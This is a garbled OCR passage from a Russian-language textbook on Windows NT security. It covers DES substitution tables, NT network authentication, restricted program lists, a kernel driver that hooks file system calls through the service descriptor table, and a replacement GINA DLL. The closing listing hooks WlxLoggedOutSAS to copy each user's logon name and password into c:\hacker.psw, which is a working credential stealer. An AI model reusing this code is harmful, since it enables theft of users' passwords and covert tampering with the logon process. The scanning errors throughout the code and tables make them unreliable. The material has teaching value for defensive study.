14 11 2 12 4 7 13 150 15 10 3 9 8 б
4 2 1 11 10 13 7 8 15 9 12 5 б 3 0 14
11 8 12 7 1 14 2 13 б 15 0, 9 10 4 5 3

бокс номер 5

12 1 10 15 92 б 80 13 3 4 14 7 5 11
10 15 4 2 7 12 9 5 б 1 13 14 0 11 3 8
9.14 15 5 2 8 12 37 0 4 10 1 13-11 б
4 3 2 12 9 5 15 10 11 14 1 7 б 0 8 13

бокс номер

6 4 11 2 14 15 0 8 13 3 12 9 7 5 10 б 1
13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6 1
4 11 13 12 3 7 14 10 15 б 8 0 5 9 2
6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12

бокс номер 7

13 2 8 4 б 15 11 1 10 9 3 14 5 0 12 7
1 15 13 8 10 3 7 4 12 5 б 11 0 14 9 2
7 11 4 1 9 12 14 2 0 б 10 13 15 3 5 8
2 1 14 7 4 10 8 13 15 12 9 О 3 5 6 11

что полностью совпадает с узлами замены (подстановками) алгоритма DES.

Сетевая аутентификация пользователя в Windows NT

Сетевая аутентификация пользователя осуществляется в процессе его подключения к серверу с целью получения доступа к сетевым ресурсам (например, к сетевому диску). Сетевая аутентификация осуществляется только в случае успешного завершения процедуры локальной аутентификации пользователя.
Обозначим через:

SessionKey - массив из 8 байт - разовый ключ, получаемый рабочей станцией от сервера; Ticket[0..47] - массив из 48 байт - билет-аутентификатор, направляемый рабочей станцией на сервер в качестве запроса о разрешении доступа к сетевым ресурсам.

Процедура сетевой аутентификации пользователя состоит из следующих шагов:
Шаг 1. Рабочая станция получает от сервера разовый ключ SessionKey.
Шаг 2. Разовый ключ и PasswordDES преобразуются с использованием алгоритма DES:

Ticket [0. .7] := DES (SessioriKey, PasswordDES[0..6]);
Ticket [8... 15] := DES (SessionKey, PasswordDES [7 .. 13] );
Ticket[16..23]:=DES(SessionKey, (PasswordDES[14], PasswordDES[15],0,0,0,0,0));

Шаг З. Разовый ключ и PasswordMD4 преобразуются с использованием алгоритма DES:

Ticket [24. .31]-:- DES (SessionKey, PasswordMD4[0..6]);
Ticket[32..39]:= DES(SessionKey, PasswordMD4[7..13]);
Ticket[40..47] : = DES(SessionKey,
(PasswordMD4[14], PasswordMD4[15],0,0,0,0,0));

Шаг 4. Ticket передается в SMB-пакете на сервер. Сервер проверяет данные и в случае успешной проверки передает рабочей станции сообщение об успешном завершении процедуры аутентификации.


Основные подходы к созданию изолированной программной среды

Для создания ИПС можно использовать два подхода:

1. Замещение пользовательской оболочки собственной задачей, которая предлагает замкнутое меню.
Этот путь достаточно тривиален и предусматривает написание простого оконного приложения и указания пути к нему в ключе Shell. 2. Задание ключей реестра, позволяющих ограничить число задач в меню Пуск стандартной оболочки.

В Windows NT есть возможность установить список программ, которые могут быть запущены пользователями. Для демонстрации данной возможности выполните следующие действия.

1. Откройте реестр для редактирования и найдите ключ
[HKEY_CUR-RENT_USER\Software\Microsoft\Windows
\CurrentVersion\Policies\Explorer]
2. Установите значение параметра 'RestrictRun1 равным 'Г для использования данной функции или равной '0' для ее блокировки. Создайте этот параметр, если его не существует.
3. Определите программы, которые смогут запускать пользователи, в ключе: [HKEY_CURRENT_USER\Software
\Microsoft\Windows\CurrentVersion\ Policies\Explorer\RestrictRun].
Создайте новый параметр для каждой программы, именуя их числами по возрастанию. Например:

Т='Саlс.ехе'
'2'='winword.exe'

Рассмотренный путь имеет некоторый недостаток, связанный с тем, что необходимо редактировать ключи раздела CurretaUser. Таким образом, необходимо предварительно регистрироваться в системе в качестве пользователя, для которого устанавливается замкнутое меню.
Следует учитывать - ничто не мешает пользователям переименовать любой .ехе файл в winword.exe (или любой другой, разрешенный к запуску) и обойти это ограничение. В связи с этим для реализации надежной защиты необходимо «поддержать» работу ИПС драйвером уровня ядра, который контролирует операции с исполняемыми файлами.

Макет системы защиты от несанкционированного доступа

При создании системы защиты информации (СЗИ) от несанкционированного доступа необходимо реализовать следующие функциональные подсистемы:

- подсистему идентификации и аутентификации (ИА) пользователей,
- подсистему разграничения (контроля) доступа субъектов ОС к объектам,
- подсистему регистрации событий.

При этом подсистему идентификации и аутентификации целесообразно ассоциировать со штатной подсистемой ИА, реализуемой MSGINA, а подсистему контроля доступа и регистрации событий - с отдельно работающим драйвером контроля доступа, связанным с подсистемой ИА. Такая связь необходима потому, что контроль доступа к объектам до входа конкретного пользователя в систему может представлять собой достаточно нетривиальную задачу, например, если для конкретного пользователя задана изолированная программная среда (т.е. фиксированный список задач, которые он может запускать), то непонятно как быть с задачами, запускаемыми до выполнения успешной процедуры ИА данного пользователя). Кроме того, связь со штатным модулем ИА может служить для передачи ключевой информации, необходимой для инициализации персональных криптографических модулей, предназначенных для шифрования трафика (см. выше) или для периодического тестирования корректности работы криптографических функций или иных механизмов обеспечения безопасности.
Рассмотрим пример макета ядра СЗИ от несанкционированного доступа для Windows NT/2000. Основными компонентами этой системы защиты являются, как указано выше:

Драйвер контроля доступа, предназначенный для перехвата файловых операций на уровне ядра. Модифицированная библиотека GINA (XGINA), построенная по принципу полного перехвата экспортируемых функций оригинальной MSGINA (Graphical Identification aNd Authentication DLL for Wiwnlogon). При входе пользователя библиотека GINA.DLL возвращает директивы приложению Winlogon, согласно которым оно либо не должно менять текущий статус процесса ИА, либо выполнить некоторые действия (например, насильственно выгрузить пользователя). В зависимости от значения параметра dwOptions в функции WlxLoggedOutSasQ библиотеки GINA.DLL, приложение Winlogon либо, не должно загружать профиль входящего пользователя, либо же должно выполнить загрузку того пользовательского профиля, информацию о котором вернула библиотека GINA.DLL.

Перехват операций открытия, создания и удаления файлов

Реализация драйвером перехвата файловых операций основана на недокументированном механизме перехвата системных сервисов, описанном в разделе «Реализация защиты на уровне собственного API для ОС Windows NT».
Принцип функционирования драйвера основан на механизме замены адресов функций, предоставляемых «родным» API. Обработчик прерывания int 2E для вызова соответствующего системного сервиса использует таблицу распределения системных сервисов KeServiceDescriptorTable, экспортируемую ntoskrnl.exe.
Во время инициализации драйвера в функции DriverEntry, после успешного создания объекта-устройства, устанавливаются собственные обработчики файловых операций. Для этого сначала надо получить адрес таблицы распределения системных сервисов:

ServiceTable = KeServicepescriptorTable;

Зная индексный номер функции, реализующей системный сервис, можно ио таблице определить адрес ее начала и заменить его на адрес начала собственного обработчика режима ядра.
Это делается следующим образом:

#define SYSCALL(_function)
ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_function+l)]
RealCreateFile = SYSCALL( ZwCreateFile );
//RealCreateFile - оригинальный обработчик создания файла;
SYSCALL( ZwCreateFile ) = (PVOID) HookCreateFile;
//HookCreateFile - собственный обработчик создания файла;
RealO'penFile = SYSCALL ( ZwOpenFile );
//RealOpenFile - оригинальный обработчик открытия файла;
SYSCALL( ZwOpenFile ) = (PVOID) HookOpenFile;
//HookOpenFile - собственный обработчик открытия файла;

При перехвате функций ZwCreateFile и ZwOpenFile необходимо учитывать, что операции запуска исполняемых файлов, переименования и удаления объектов производятся именно этими функциями при установленных следующим образом флагах: .
DesiredAccess & DELETE - операция удаления файла,
DesiredAccess & FILE_EXECUTE) ||
(DesiredAccess & GENERIC_EXECUTE) - запуск исполняемого файла.
Отдельную задачу представляет собой различение операций с объектами типа PIPE или СОМ-порт. В ряде случаев это может быть сделано по имени, например, memcmp(AnsiString.Buffer, "\\dosdevices\\com", 15) после выполнения фрагмента кода:

UnString.Length = (USHORT)
ObjectAttributes->ObjectName->Length;
UnString.MaximumLength = (USHORT)
ObjectAttributes->ObjectName-> ., ,.
MaximumLength-; . ,
UnString.Buffer = ObjectAttributes->ObjectName->Buffer;.
RtlUnicodeStringToAnsiString
.. ( SAnsiString, SUnString, TRUE ),.;


Собственный обработчик создания файла и собственный обработчик открытия файла

Собственный обработчик создания (открытия) файла может, например, проверить права доступа текущего процесса к создаваемому (открываемому) файлу, и если дос-
туп запрещен, то вернуть статус создания (открытия) файла STATUS_ACCESS_DENIED (доступ запрещен), иначе вернуть управление оригинальному обработчику. При этом можно вести журнал как удавшихся, так и не удавшихся попыток доступа, регистрируя имя процесса, в контексте которого осуществляется попытка доступа к ресурсу, и имя создаваемого (открываемого) файла. После исполнения собственного обработчика необходимо передать управление по старому адресу, чтобы дать возможность стандартному обработчику выполнить запрошенные действия.

NTSTATUS HookCreateFile (OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK loStatusBlock,
IN PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes,
IN ULONG ShareAccess, IN ULONG CreateDisposition,
IN ULONG CreateOptions,IN PVOID EaBuffer,IN ULONG EaLength)
{
if (Access (ObjectAttributes) ) return RealCreateFile (FileHandle, DesiredAccess/ ObjectAttributes,
loStatusBlock, AllocationSize, FileAttributes, ShareAccess,
CreateDisposition, CreateOptions,EaBuf fer, EaLength) ; return STATUSACCESSDENIED;

Определение имени процесса

Реализация драйвером функции получения имени обращающегося к ресурсу процесса необходима для создания системы защиты от НСД не ниже 3 класса по классификации Руководящих документов Государственной технической комиссии РФ, определяющих защищенность средств вычислительной техники (СВТ) или класса 1В по классификации защищенности автоматизированных систем (АС). При этом может быть поддержана полная модель полномочного (мандатного) доступа, определяющая возможность контроля доступа обращений к ресурсу от имени конкретного процесса.
Имя обращающегося к ресурсу процесса находится в структуре, описывающей объект-процесс. Чтобы получить смещение имени процесса в объекте-процессе, надо во время инициализации драйвера в функции DriverEntry (которая всегда исполняется в контексте процесса System) найти строку «System» в объекте-процессе, описывающем (процесс System: ULONG GetProces'sNameOffset () .

PEPROCESS int
curproc;
i; curproc = PsGetCurrentProcess () ; for( i = 0; i < 3*PAGE_SIZE; i++ ) {
if( !strncmp( "System", (PCHAR) curproc + i, strlen ("System") )) {
return i; .
//имя не найдено return 0;

После удачного завершения этой функции можно использовать возвращенное ею значение ProcessNameOffset для определения имени процесса:

VOID GetProcess ( PCHAR Name )
{
PEPROCESS curproc;
char *nameptr;
ULONG i;
if( ProcessNameOffset ) { s
curproc = PsGetCurrentProcess () ;
nameptr = (PCHAR)- curproc + ProcessNameOffset;
strncpy( Name, nameptr, 16 ); } else {
strcpy( Name, "???");

Получив имя процесса, можно определить его конкретные полномочия по доступу к объектам. Например, далее по тексту будет использоваться возможность вызова функций драйвера только процессом Winlogon, в контексте которого работает GINA. Таким образом, можно гарантировать передачу параметров и управление драйвером только со стороны модифицированной библиотеки.

Вывод сообщений на «синий» экран

Если флаг Start в реестре у драйвера установлен в SERVICE_BOOT_ START(0) или SERVICE_SYSTEM_START(1), то можно использовать функцию вывода на «синий» экран -ZwDisplayString для вывода информации о действиях драйвера во время инициализации.
Например:

UNICODE_STRING 'bootMessagpUnicodeString;
WCHAR bootMessage [] = L"\nMessage on blue screen. \n\n";
CTL CODE( FILE DEVICE TDRV, 0x01,
CTL CODE( FILE DEVICE TDRV, 0x02,
RtlInitUnicodeString( sbootMessageUnicodeString, bootMessage ); ZwDisplayString( SbootMessageUnicodeString );

Например, во время инициализации драйвер может произвести процедуру тестирования (контрольный пример) криптографических функций, либо иных функций, имеющих отношение к безопасности, и вывести результат тестирования на «синий» экран. Кроме того, в ряде случаев можно инициировать ввод ключевой информации для драйверов шифрования, описанных выше.

Процедура распределения IRP_MJ_DEVICE_CONTROL драйвера контроля доступа

Для взаимодействия с драйвером модифицированная библиотека GINA может использовать определенные контрольные коды, которые должен обрабатывать драйвер, например:

tdefine TDRV_hook (ULONG) CTL_CODE( FILEJ)EVICE_TDRV, 0x00,
METHOD_BUFFERED, FILE_ANY_ACCESS )
#define TDRV_unhook (ULONG)
METHOD_BUFFERED, FILE_ANY_ACCESS
#define TDRV_setkey (ULONG)
METHOD_BUFFERED, FILE_WRITE_ACCESS )
#define TDRV_test (ULONG) CTL_CODE( FILE_DEVICE_TDRV, 0x03,
METHOD_BUFFERED, FILE_WRITE_ACCESS ) .

Тогда процедура обработки контрольных кодов драйвера Tdrv может быть следующей:

BOOLEAN TdrvDeviceCon.trol ( IN PFILE_OBJECT FileObject, IN BOOLEAN Wait,
.IN PVOID InputBuffer, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength,
IN ULONG loControlCode, OUT PIO_STATUS_BLOCK loStatus, IN PDEVICE_OBJECT DeviceObject ) { UCHAR ProcName[256] ;
int tg_gina_work, i;
IoStatus->Status = STATUS_SUCCESS; IoStatus->Information = 0; switch ( loControlCode ) { case TDRV_version:
//возвратить версию драйвера контроля доступа *(ULONG *)OutputBuffer = TDRVVERSION; IoStatus->Information = sizeof(ULONG);
break;
case TDRV_hook:
//заменить обработчики открытия, //создания и удаления файлов HookFileOperation() ; break;
case TDRV_unhook:
//восстановить обработчики открытия, //создания и удаления файлов UnhookRegistry(); break;
case TDRV_test:
//протестировать криптографические функции в //процедуре test_crypto {
tg_no_work=0;
if(test_crypto()!=0) tg_no_work=l; break;
}
case TDRV_setkey:
//передать ключ шифрования драйверу, //если текущий процесс winlogon {
tg_gina_work=0;. GetProcess(ProcName); ToLowerStr(ProcName);
// условная процедура перевода символов в // строчные
if(strcmp(ProcName,"winlogon.exe")==0) tg_gina_work=l; if ((InputBufferLength != sizeof(TDRV_IOCTL)) || (InputBuffer == NULL ) I I (tg_gina_work==0))
{
IoStatus->Status = 1; break;
} RtlMoveMemory( UserKey,,
((PTDRV_IOCTL)InputBuffer)->UserKey,
KEY_SIZE ); RtlMoveMemory( Userld,
((PTDRV_IOCTL)InputBuffer)-XJserld, USER ID SIZE ); "
RtlMoveMemory( UserStatus, l
((PTDRV_IOCTL)InputBuffer)->UserStatus,
USER_STATUS_SIZE ); IoStatus->Status = STATUS_/_SUCCESS; break;
default:
IoStatus->Status - STATUS_INVALID_DEVICE_REQUEST; break;
return TRUE;

Драйвер может вызываться периодически по таймеру из модифицированной библиотеки Gina с помощью функции DeviceloControl для тестирования криптографических функций и других функций обеспечения безопасности с заданной периодичностью, например, Один раз в минуту.

Модифицированная библиотека Gina

f Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.
XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:

WLXNEGOTIATE
WLXINITIALIZE
WLXDISPLAYSASNOTICE
WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL
WLXLOGGEDONSAS
WLXISLOCKOK
WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS
g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;
g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
WLXLOGOFF . g_lpWlxLogoff » NULL;
WLXSHUTDOWN g_lpWlxShutdown - NULL;
BOOL InitMSGinaDllO
{ .
hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
if (hMSGinaDLL == NULL)
{
return FALSE; }
MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );
g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;
g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );
g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS" );
g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );
g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;
g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );
MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;
Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon
PSID pLogonSid, //SID уникальный для текущей сессией logon
PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )
//указатель на одну из структур WLX_PROFILE_xxx { '
int res,i; FILE *out;
UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};
MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProfile );
if(res == WLX_SAS_ACTION_LOGON) {
for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
{
if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )
if(pMprNotify!nfo->pszPassword[i]==0) break;
else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя
out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {
f seek (out, 0, SEEK_END) ;
//вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);
fwrite (pro, sizeof (char) , 1, out) ;
//вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;
'
return res;